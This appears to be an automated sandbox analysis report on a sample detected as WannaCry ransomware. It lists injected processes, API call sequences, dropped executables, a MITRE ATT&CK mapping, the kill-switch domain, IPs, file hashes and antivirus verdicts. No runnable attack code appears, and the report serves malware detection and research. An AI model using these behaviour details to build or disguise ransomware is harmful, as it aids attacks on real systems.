          Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338387\42ff8bfeecdc4144b8007723b60df017_1 VolumeInformationJump to behavior
          Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\314559\885531ce9aca4afd895bbfda82916f76_1 VolumeInformationJump to behavior
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C2388E GetSystemTime,Sleep,InternetGetConnectedState,gethostbyname,socket,ioctlsocket,connect,Sleep,closesocket,4_2_00C2388E
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C2042D GetModuleHandleA,GetVersion,VirtualAlloc,FindCloseChangeNotification,SetProcessAffinityMask,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,lstrcpyW,lstrcpyW,lstrcatW,NtMapViewOfSection,NtOpenProcessToken,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,CreateRemoteThread,FindCloseChangeNotification,4_2_00C2042D
          Source: svchost.exe, 0000001D.00000002.979273716.0000022FC5600000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001D.00000000.576920826.0000022FC5600000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: ,@C:\Program Files\Windows Defender\MsMpEng.exe
          Source: svchost.exe, 0000001D.00000000.581234699.0000022FC5C9C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001D.00000002.985628069.0000022FC5C9C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001D.00000002.986068186.0000022FC5CBB000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@\device\harddiskvolume4\program files\windows defender\msmpeng.exe
          Source: svchost.exe, 0000001D.00000000.575865644.0000022FC4B55000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001D.00000000.581234699.0000022FC5C9C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001D.00000002.985628069.0000022FC5C9C000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: @\device\harddiskvolume4\program files\windows defender\msmpeng.exe
          Source: svchost.exe, 0000001D.00000000.575865644.0000022FC4B55000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001D.00000002.977625103.0000022FC4B55000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *@\device\harddiskvolume4\program files\windows defender\msmpeng.exe
          Source: svchost.exe, 0000001D.00000002.979273716.0000022FC5600000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001D.00000000.576920826.0000022FC5600000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001D.00000002.982554072.0000022FC575D000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: @C:\Program Files\Windows Defender\MsMpEng.exe
          Source: svchost.exe, 0000001D.00000002.982554072.0000022FC575D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001D.00000000.579394160.0000022FC575D000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: .@C:\Program Files\Windows Defender\MsMpEng.exe
          Source: svchost.exe, 0000001D.00000002.979273716.0000022FC5600000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001D.00000000.576920826.0000022FC5600000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *@C:\Program Files\Windows Defender\MsMpEng.exe
          Source: mssecsvc.exe, 00000004.00000002.773404878.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000004.00000000.452965577.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000006.00000000.460451882.0000000000710000.00000080.00000001.01000000.00000004.sdmpBinary or memory string: 2\Device\HarddiskVolume2\Windows\ehome\mcupdate.exe

          Mitre Att&ck Matrix

          Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
          Valid Accounts2
          Service Execution          		2
          Windows Service          		2
          Windows Service          		121
          Masquerading          		1
          Input Capture          		1
          System Time Discovery          		Remote Services1
          Input Capture          		Exfiltration Over Other Network Medium2
          Encrypted Channel          		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without Authorization1
          Data Encrypted for Impact
          Default Accounts1
          Native API          		Boot or Logon Initialization Scripts312
          Process Injection          		31
          Virtualization/Sandbox Evasion          		LSASS Memory361
          Security Software Discovery          		Remote Desktop Protocol1
          Archive Collected Data          		Exfiltration Over Bluetooth12
          Ingress Tool Transfer          		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
          Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)312
          Process Injection          		Security Account Manager31
          Virtualization/Sandbox Evasion          		SMB/Windows Admin SharesData from Network Shared DriveAutomated Exfiltration2
          Non-Application Layer Protocol          		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
          Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)2
          Obfuscated Files or Information          		NTDS3
          Process Discovery          		Distributed Component Object ModelInput CaptureScheduled Transfer2
          Application Layer Protocol          		SIM Card SwapCarrier Billing Fraud
          Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script1
          Rundll32          		LSA Secrets1
          Remote System Discovery          		SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
          Replication Through Removable MediaLaunchdRc.commonRc.common2
          Software Packing          		Cached Domain Credentials123
          System Information Discovery          		VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features

          Behavior Graph

          Hide Legend

          Legend:

          • Process
          • Signature
          • Created File
          • DNS/IP Info
          • Is Dropped
          • Is Windows Process
          • Number of created Registry Values
          • Number of created Files
          • Visual Basic
          • Delphi
          • Java
          • .Net C# or VB.NET
          • C, C++ or other language
          • Is malicious
          • Internet
          behaviorgraph top1 signatures2 2 Behavior Graph ID: 669652 Sample: tct5NKwZY8 Startdate: 20/07/2022 Architecture: WINDOWS Score: 100 75 Tries to download HTTP data from a sinkholed server 2->75 77 Snort IDS alert for network traffic 2->77 79 Multi AV Scanner detection for domain / URL 2->79 81 7 other signatures 2->81 10 loaddll32.exe 1 2->10         started        12 mssecsvc.exe 2->12         started        15 svchost.exe 9 1 2->15         started        18 3 other processes 2->18 process3 dnsIp4 20 cmd.exe 1 10->20         started        22 rundll32.exe 10->22         started        25 rundll32.exe 1 10->25         started        101 Maps a DLL or memory area into another process 12->101 28 svchost.exe 12->28 injected 30 svchost.exe 12->30 injected 32 svchost.exe 12->32 injected 71 127.0.0.1 unknown unknown 15->71 73 192.168.2.1 unknown unknown 18->73 signatures5 process6 file7 34 rundll32.exe 20->34         started        83 Drops executables to the windows directory (C:\Windows) and starts them 22->83 36 mssecsvc.exe 7 22->36         started        65 C:\Windows\mssecsvc.exe, PE32 25->65 dropped signatures8 process9 dnsIp10 41 mssecsvc.exe 7 34->41         started        67 www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com 104.16.173.80, 49768, 49921, 80 CLOUDFLARENETUS United States 36->67 63 C:\Windows\tasksche.exe, PE32 36->63 dropped 85 Drops executables to the windows directory (C:\Windows) and starts them 36->85 45 tasksche.exe 36->45         started        file11 87 Tries to resolve many domain names, but no domain seems valid 67->87 signatures12 process13 dnsIp14 69 www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com 41->69 89 Antivirus detection for dropped file 41->89 91 Multi AV Scanner detection for dropped file 41->91 93 Machine Learning detection for dropped file 41->93 99 5 other signatures 41->99 47 svchost.exe 41->47 injected 49 winlogon.exe 41->49 injected 51 lsass.exe 41->51 injected 53 13 other processes 41->53 95 Detected Wannacry Ransomware 45->95 signatures15 97 Tries to resolve many domain names, but no domain seems valid 69->97 process16 process17 55 BackgroundTransferHost.exe 49 47->55         started        57 backgroundTaskHost.exe 131 107 47->57         started        59 BackgroundTransferHost.exe 47->59         started        61 BackgroundTransferHost.exe 47->61         started       

          Screenshots

          Thumbnails

          This section contains all screenshots as thumbnails, including those not shown in the slideshow.


          windows-stand

          Antivirus, Machine Learning and Genetic Malware Detection

          Initial Sample

          SourceDetectionScannerLabelLink
          tct5NKwZY8.dll77%VirustotalBrowse
          tct5NKwZY8.dll69%MetadefenderBrowse
          tct5NKwZY8.dll96%ReversingLabsWin32.Ransomware.WannaCry
          tct5NKwZY8.dll100%AviraW32/Virut.Gen
          tct5NKwZY8.dll100%Joe Sandbox ML

          Dropped Files

          SourceDetectionScannerLabelLink
          C:\Windows\mssecsvc.exe100%AviraW32/Virut.Gen
          C:\Windows\tasksche.exe100%AviraTR/FileCoder.AU
          C:\Windows\mssecsvc.exe100%Joe Sandbox ML
          C:\Windows\tasksche.exe100%Joe Sandbox ML
          C:\Windows\mssecsvc.exe83%MetadefenderBrowse
          C:\Windows\mssecsvc.exe98%ReversingLabsWin32.Ransomware.WannaCry
          C:\Windows\tasksche.exe85%MetadefenderBrowse
          C:\Windows\tasksche.exe95%ReversingLabsWin32.Ransomware.WannaCry

          Unpacked PE Files

          SourceDetectionScannerLabelLinkDownload
          4.0.mssecsvc.exe.400000.6.unpack100%AviraW32/Virut.GenDownload File
          10.2.mssecsvc.exe.7100a4.1.unpack100%AviraTR/FileCoder.AUDownload File
          22.2.tasksche.exe.400000.0.unpack100%AviraTR/FileCoder.AUDownload File
          4.2.mssecsvc.exe.7100a4.1.unpack100%AviraTR/FileCoder.AUDownload File
          6.0.mssecsvc.exe.7100a4.5.unpack100%AviraTR/FileCoder.AUDownload File
          6.0.mssecsvc.exe.7100a4.1.unpack100%AviraTR/FileCoder.AUDownload File
          4.2.mssecsvc.exe.400000.0.unpack100%AviraW32/Virut.GenDownload File
          4.0.mssecsvc.exe.400000.0.unpack100%AviraW32/Virut.GenDownload File
          6.2.mssecsvc.exe.400000.0.unpack100%AviraW32/Virut.GenDownload File
          10.0.mssecsvc.exe.7100a4.1.unpack100%AviraTR/FileCoder.AUDownload File
          4.0.mssecsvc.exe.400000.2.unpack100%AviraW32/Virut.GenDownload File
          10.0.mssecsvc.exe.400000.0.unpack100%AviraW32/Virut.GenDownload File
          4.0.mssecsvc.exe.400000.4.unpack100%AviraW32/Virut.GenDownload File
          4.0.mssecsvc.exe.7100a4.5.unpack100%AviraTR/FileCoder.AUDownload File
          6.0.mssecsvc.exe.7100a4.7.unpack100%AviraTR/FileCoder.AUDownload File
          6.0.mssecsvc.exe.400000.2.unpack100%AviraW32/Virut.GenDownload File
          4.0.mssecsvc.exe.7100a4.7.unpack100%AviraTR/FileCoder.AUDownload File
          4.0.mssecsvc.exe.7100a4.1.unpack100%AviraTR/FileCoder.AUDownload File
          6.0.mssecsvc.exe.7100a4.3.unpack100%AviraTR/FileCoder.AUDownload File
          6.0.mssecsvc.exe.400000.0.unpack100%AviraW32/Virut.GenDownload File
          6.2.mssecsvc.exe.7100a4.1.unpack100%AviraTR/FileCoder.AUDownload File
          10.2.mssecsvc.exe.400000.0.unpack100%AviraW32/Virut.GenDownload File
          4.0.mssecsvc.exe.7100a4.3.unpack100%AviraTR/FileCoder.AUDownload File
          6.0.mssecsvc.exe.400000.4.unpack100%AviraW32/Virut.GenDownload File
          22.0.tasksche.exe.400000.0.unpack100%AviraTR/FileCoder.AUDownload File
          6.0.mssecsvc.exe.400000.6.unpack100%AviraW32/Virut.GenDownload File

          Domains

          SourceDetectionScannerLabelLink
          www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com12%VirustotalBrowse

          URLs

          SourceDetectionScannerLabelLink
          http://ocsp.digicea0%Avira URL Cloudsafe
          http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com100%URL Reputationmalware
          http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/100%URL Reputationmalware
          https://www.kryptoslogic.com0%VirustotalBrowse
          https://www.kryptoslogic.com0%Avira URL Cloudsafe
          http://crl.ver)0%Avira URL Cloudsafe
          https://go.microsoft.cifjaposdfjhgosurijfaewrwergwea.com/22www.iuqerfsodp9ifjaposdfjhgosurijfaewrwer0%Avira URL Cloudsafe
          http://Passport.NET/tb0%Avira URL Cloudsafe
          http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/;v100%Avira URL Cloudmalware
          http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com-4000%Avira URL Cloudsafe
          http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com0v0%Avira URL Cloudsafe
          http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comJ0%URL Reputationsafe

          Domains and IPs

          Contacted Domains

          NameIPActiveMaliciousAntivirus DetectionReputation
          www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
          		104.16.173.80
          		truetrueunknown

          Contacted URLs

          NameMaliciousAntivirus DetectionReputation
          http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/true
          • URL Reputation: malware
          		unknown

          URLs from Memory and Binaries

          NameSourceMaliciousAntivirus DetectionReputation
          http://ocsp.digicealsass.exe, 0000000B.00000000.467959296.0000024D5E80E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000002.976887081.0000024D5E814000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.472819253.0000024D5E80E000.00000004.00000001.00020000.00000000.sdmpfalse
          • Avira URL Cloud: safe
          		unknown
          http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.commssecsvc.exe.2.drtrue
          • URL Reputation: malware
          		unknown
          https://candycrush.king.com/mobile/windows/TileTemplate.xmlsvchost.exe, 00000010.00000000.495781849.000001D1082A0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000010.00000000.494278914.000001D1082A0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.983263966.000001D1082A0000.00000004.00000001.00020000.00000000.sdmpfalse
            		high
            https://www.kryptoslogic.commssecsvc.exe, 00000006.00000002.544395963.0000000000D84000.00000004.00000020.00020000.00000000.sdmptrue
            • 0%, Virustotal, Browse
            • Avira URL Cloud: safe
            		unknown
            http://crl.ver)svchost.exe, 00000011.00000002.842325752.0000011808863000.00000004.00000020.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		low
            http://www.google.comsvchost.exe, 0000001D.00000000.574896503.0000022FC42C4000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001D.00000002.974841153.0000022FC42C4000.00000004.00000001.00020000.00000000.sdmpfalse
              		high
              https://go.microsoft.cifjaposdfjhgosurijfaewrwergwea.com/22www.iuqerfsodp9ifjaposdfjhgosurijfaewrwermssecsvc.exe, 00000006.00000002.543951912.0000000000D27000.00000004.00000020.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              http://Passport.NET/tbsvchost.exe, 00000026.00000002.981641973.0000018FBF6EA000.00000004.00000001.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/;vmssecsvc.exe, 00000006.00000002.543951912.0000000000D27000.00000004.00000020.00020000.00000000.sdmptrue
              • Avira URL Cloud: malware
              		unknown
              http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com-400mssecsvc.exe, 00000004.00000002.774419142.0000000000D8A000.00000004.00000020.00020000.00000000.sdmptrue
              • Avira URL Cloud: safe
              		unknown
              http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com0vmssecsvc.exe, 00000006.00000002.543951912.0000000000D27000.00000004.00000020.00020000.00000000.sdmptrue
              • Avira URL Cloud: safe
              		unknown
              http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comJmssecsvc.exe, 00000004.00000002.773137808.000000000019C000.00000004.00000010.00020000.00000000.sdmptrue
              • URL Reputation: safe
              		unknown

              World Map of Contacted IPs

              • No. of IPs < 25%
              • 25% < No. of IPs < 50%
              • 50% < No. of IPs < 75%
              • 75% < No. of IPs

              Public IPs

              IPDomainCountryFlagASNASN NameMalicious
              104.16.173.80
              		www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comUnited States
              		13335CLOUDFLARENETUStrue

              Private

              IP
              192.168.2.1
              127.0.0.1

              General Information

              Joe Sandbox Version:35.0.0 Citrine
              Analysis ID:669652
              Start date and time: 20/07/202208:02:152022-07-20 08:02:15 +02:00
              Joe Sandbox Product:CloudBasic
              Overall analysis duration:0h 13m 51s
              Hypervisor based Inspection enabled:false
              Report type:full
              Sample file name:tct5NKwZY8 (renamed file extension from none to dll)
              Cookbook file name:default.jbs
              Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
              Number of analysed new started processes analysed:22
              Number of new started drivers analysed:0
              Number of existing processes analysed:0
              Number of existing drivers analysed:0
              Number of injected processes analysed:19
              Technologies:
              • HCA enabled
              • EGA enabled
              • HDC enabled
              • AMSI enabled
              Analysis Mode:default
              Analysis stop reason:Timeout
              Detection:MAL
              Classification:mal100.rans.troj.evad.winDLL@25/57@2/3
              EGA Information:
              • Successful, ratio: 25%
              HDC Information:
              • Successful, ratio: 36.5% (good quality ratio 33.3%)
              • Quality average: 76.9%
              • Quality standard deviation: 31.7%
              HCA Information:Failed
              Cookbook Comments:
              • Adjust boot time
              • Enable AMSI
              • Override analysis time to 240s for rundll32

              Warnings

              • Exclude process from analysis (whitelisted): audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe
              • Excluded IPs from analysis (whitelisted): 23.211.6.115, 23.211.4.86, 20.40.136.238, 80.67.82.235, 80.67.82.211, 20.40.129.122, 20.238.103.94
              • Excluded domains from analysis (whitelisted): uyrnlv.com, ylgohw.com, jlyubc.com, kwwqua.com, xilzor.com, sikaab.com, fs-wildcard.microsoft.com.edgekey.net, ktygoq.com, yszrbf.com, kvdylc.com, udynpz.com, pkmyie.com, psvvrg.com, mtscea.com, www.bing.com, sqyjpl.com, iris-de-prod-azsc-frc-b.francecentral.cloudapp.azure.com, hny.rulm.ru, ris-prod.trafficmanager.net, zldfay.com, irkueo.com, ixrhse.com, ris.api.iris.microsoft.com, licensing.mp.microsoft.com, uehubt.com, rdglac.com, rexiuz.com, ogibbe.com, ijfoiw.com, rabqgq.com, ddujus.com, yhiuei.com, mpibah.com, wwnacu.com, zhuqai.com, yusrey.com, uyuukr.com, hovimo.com, oanhen.com, ikmaix.com, uagooq.com, haciym.com, e12564.dspb.akamaiedge.net, hktonz.com, kkmsdo.com, ejfrzo.com, cchwwa.com, jps.sox4.at, arc.trafficmanager.net, yycwop.com, xiozyy.com, prod.fs.microsoft.com.akadns.net, ictqlu.com, gwnycf.com, vw.civix.pl, imjqbu.com, klkzsq.com, ieuylk.com, lo.paddo.at, hyahmq.com, zevela.com, wudjxm.com, ljqrqr.com, ptydjk.com, jujjzi.com, wshaxz.com, mypryo.c
              • Execution Graph export aborted for target mssecsvc.exe, PID 4108 because there are no executed function
              • Execution Graph export aborted for target mssecsvc.exe, PID 6456 because there are no executed function
              • Execution Graph export aborted for target tasksche.exe, PID 6812 because there are no executed function
              • Not all processes where analyzed, report is missing behavior information
              • Report size exceeded maximum capacity and may have missing behavior information.
              • Report size getting too big, too many NtOpenKeyEx calls found.
              • Report size getting too big, too many NtProtectVirtualMemory calls found.
              • Report size getting too big, too many NtQueryValueKey calls found.
              • Report size getting too big, too many NtSetInformationFile calls found.
              • Report size getting too big, too many NtWriteVirtualMemory calls found.

              Simulations

              Behavior and APIs

              TimeTypeDescription
              08:03:38API Interceptor1x Sleep call for process: loaddll32.exe modified
              08:03:58API Interceptor3x Sleep call for process: svchost.exe modified

              Joe Sandbox View / Context

              IPs

              MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
              104.16.173.80pELfdGty4M.dllGet hashmaliciousBrowse
              • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
              nE1ElepZ0Y.dllGet hashmaliciousBrowse
              • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
              fY5EzTxPkX.dllGet hashmaliciousBrowse
              • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
              8o8AuraQPk.dllGet hashmaliciousBrowse
              • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
              hzrx7nbPYA.dllGet hashmaliciousBrowse
              • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
              P68vAERoEJ.dllGet hashmaliciousBrowse
              • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
              BBHe8pcoiE.dllGet hashmaliciousBrowse
              • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
              zvPshEgLJT.dllGet hashmaliciousBrowse
              • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
              MRNPA8eYXZ.dllGet hashmaliciousBrowse
              • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
              c3VD4rLV4k.dllGet hashmaliciousBrowse
              • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
              Jiykx60jnK.dllGet hashmaliciousBrowse
              • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
              xjEsX8zPvG.dllGet hashmaliciousBrowse
              • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
              7KPQg3aXdC.dllGet hashmaliciousBrowse
              • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
              wXLaTnIw6b.dllGet hashmaliciousBrowse
              • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
              wI84mV7eWQ.dllGet hashmaliciousBrowse
              • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
              NIcNg803dS.dllGet hashmaliciousBrowse
              • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
              rBD1ho1mOR.dllGet hashmaliciousBrowse
              • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
              soA6RkzSx4.dllGet hashmaliciousBrowse
              • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
              9V2w8FCgcI.dllGet hashmaliciousBrowse
              • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
              0vgcZx0quM.dllGet hashmaliciousBrowse
              • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/

              Domains

              MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
              www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.compELfdGty4M.dllGet hashmaliciousBrowse
              • 104.17.244.81
              nE1ElepZ0Y.dllGet hashmaliciousBrowse
              • 104.17.244.81
              fY5EzTxPkX.dllGet hashmaliciousBrowse
              • 104.16.173.80
              8o8AuraQPk.dllGet hashmaliciousBrowse
              • 104.16.173.80
              hzrx7nbPYA.dllGet hashmaliciousBrowse
              • 104.17.244.81
              NBBXoEax5L.dllGet hashmaliciousBrowse
              • 104.17.244.81
              veh795LK24.dllGet hashmaliciousBrowse
              • 104.16.173.80
              P68vAERoEJ.dllGet hashmaliciousBrowse
              • 104.16.173.80
              BBHe8pcoiE.dllGet hashmaliciousBrowse
              • 104.17.244.81
              zvPshEgLJT.dllGet hashmaliciousBrowse
              • 104.16.173.80
              MRNPA8eYXZ.dllGet hashmaliciousBrowse
              • 104.16.173.80
              c3VD4rLV4k.dllGet hashmaliciousBrowse
              • 104.16.173.80
              Jiykx60jnK.dllGet hashmaliciousBrowse
              • 104.16.173.80
              xjEsX8zPvG.dllGet hashmaliciousBrowse
              • 104.17.244.81
              7e6Xyoys8V.dllGet hashmaliciousBrowse
              • 104.17.244.81
              AQ3MsysxNq.dllGet hashmaliciousBrowse
              • 104.17.244.81
              7KPQg3aXdC.dllGet hashmaliciousBrowse
              • 104.16.173.80
              wXLaTnIw6b.dllGet hashmaliciousBrowse
              • 104.17.244.81
              KeGmSPqerk.dllGet hashmaliciousBrowse
              • 104.16.173.80
              wI84mV7eWQ.dllGet hashmaliciousBrowse
              • 104.17.244.81

              ASNs

              MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
              CLOUDFLARENETUSpELfdGty4M.dllGet hashmaliciousBrowse
              • 104.17.244.81
              nE1ElepZ0Y.dllGet hashmaliciousBrowse
              • 104.17.244.81
              fY5EzTxPkX.dllGet hashmaliciousBrowse
              • 104.17.244.81
              8o8AuraQPk.dllGet hashmaliciousBrowse
              • 104.17.244.81
              hzrx7nbPYA.dllGet hashmaliciousBrowse
              • 104.17.244.81
              NBBXoEax5L.dllGet hashmaliciousBrowse
              • 104.17.244.81
              veh795LK24.dllGet hashmaliciousBrowse
              • 104.17.244.81
              P68vAERoEJ.dllGet hashmaliciousBrowse
              • 104.17.244.81
              BBHe8pcoiE.dllGet hashmaliciousBrowse
              • 104.17.244.81
              changiairport_Report_450887232.pdf.htmlGet hashmaliciousBrowse
              • 104.18.11.207
              zvPshEgLJT.dllGet hashmaliciousBrowse
              • 104.17.244.81
              changiairport_Report_450887232.pdf.htmlGet hashmaliciousBrowse
              • 104.18.6.145
              MRNPA8eYXZ.dllGet hashmaliciousBrowse
              • 104.17.244.81
              Jiykx60jnK.dllGet hashmaliciousBrowse
              • 104.17.244.81
              xjEsX8zPvG.dllGet hashmaliciousBrowse
              • 104.17.244.81
              7e6Xyoys8V.dllGet hashmaliciousBrowse
              • 104.17.244.81
              AQ3MsysxNq.dllGet hashmaliciousBrowse
              • 104.17.244.81
              7KPQg3aXdC.dllGet hashmaliciousBrowse
              • 104.16.173.80
              wXLaTnIw6b.dllGet hashmaliciousBrowse
              • 104.17.244.81
              KeGmSPqerk.dllGet hashmaliciousBrowse
              • 104.17.244.81

              JA3 Fingerprints

              ⊘No context

              Dropped Files

              MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
              C:\Windows\tasksche.exe7KPQg3aXdC.dllGet hashmaliciousBrowse
                ngFFOGiE7Y.dllGet hashmaliciousBrowse

                  Created / dropped Files

                  C:\ProgramData\Microsoft\Network\Downloader\edb.chk

                  Download File
                  Process:C:\Windows\System32\svchost.exe
                  File Type:data
                  Category:dropped
                  Size (bytes):8192
                  Entropy (8bit):0.3593198815979092
                  Encrypted:false
                  SSDEEP:12:SnaaD0JcaaD0JwQQU2naaD0JcaaD0JwQQU:4tgJctgJw/tgJctgJw
                  MD5:BF1DC7D5D8DAD7478F426DF8B3F8BAA6
                  SHA1:C6B0BDE788F553F865D65F773D8F6A3546887E42
                  SHA-256:BE47C764C38CA7A90A345BE183F5261E89B98743B5E35989E9A8BE0DA498C0F2
                  SHA-512:00F2412AA04E09EA19A8315D80BE66D2727C713FC0F5AE6A9334BABA539817F568A98CA3A45B2673282BDD325B8B0E2840A393A4DCFADCB16473F5EAF2AF3180
                  Malicious:false
                  Preview:.............*..........3...w..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................................................*.............................................................................................................................................................................................................................................................................................................................................................

                  C:\ProgramData\Microsoft\Network\Downloader\edb.log

                  Download File
                  Process:C:\Windows\System32\svchost.exe
                  File Type:MPEG-4 LOAS
                  Category:dropped
                  Size (bytes):1310720
                  Entropy (8bit):0.24944650216697395
                  Encrypted:false
                  SSDEEP:1536:BJiRdfVzkZm3lyf49uyc0ga04PdHS9LrM/oVMUdSRU4U:BJiRdwfu2SRU4U
                  MD5:C3B0A2C052358CCB99D35A74ADA90236
                  SHA1:6CF640F87AE92C4B6CC1F874AAA3FA734A742CB2
                  SHA-256:D3F3588C82879C072F60B2F3A9E74B63840ED6DB9F3EF756A42CD09604024AB0
                  SHA-512:F5A5269D62B3447CF950DAFD0582729D6B00B8563B2D291C89FBA96D3A5B179C65CED51D054A6E234F59C87671D7A717B2E033ACCA8C01CC5717C4209B1FEDED
                  Malicious:false
                  Preview:V.d.........@..@.3...w...........................3...w..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.........................................d#.................................................................................................................................................................................................................................................................................................................................................

                  C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

                  Download File
                  Process:C:\Windows\System32\svchost.exe
                  File Type:Extensible storage engine DataBase, version 0x620, checksum 0xb746fe7a, page size 16384, Windows version 10.0
                  Category:dropped
                  Size (bytes):786432
                  Entropy (8bit):0.2506292773506338
                  Encrypted:false
                  SSDEEP:384:iXP+W0StseCJ48EApW0StseCJ48E2rTSjlK/ebmLerYSRSY1J2:iXESB2nSB2RSjlK/+mLesOj1J2
                  MD5:59C7986C9BC6A2D99D30FDD2B069E767
                  SHA1:992DEB9FC7F43000679F85E3169C668EEBE3A25A
                  SHA-256:E5D6EC7C0C940154B245545A5A93827A337B18FA3600E2B59F42E1A6D2AFE7CE
                  SHA-512:4E1EECAD9960A99B9C14CAE1839F49CFF5A6A2C36A4A54E3E59BA3D3844DEBF940A84617E84A0E2539BFA83E0C5894A4F0A0032E06F29BEC1E8C610B14540539
                  Malicious:false
                  Preview:.F.z... ................e.f.3...w........................)..........z..:....z..h.(..........z....)..............3...w...........................................................................................................B...........@...................................................................................................... ...................................................................................................................................................................................................................................................?.B......z...........................z..........................................................................................................................................................................................................................................................................................................................................................................................

                  C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

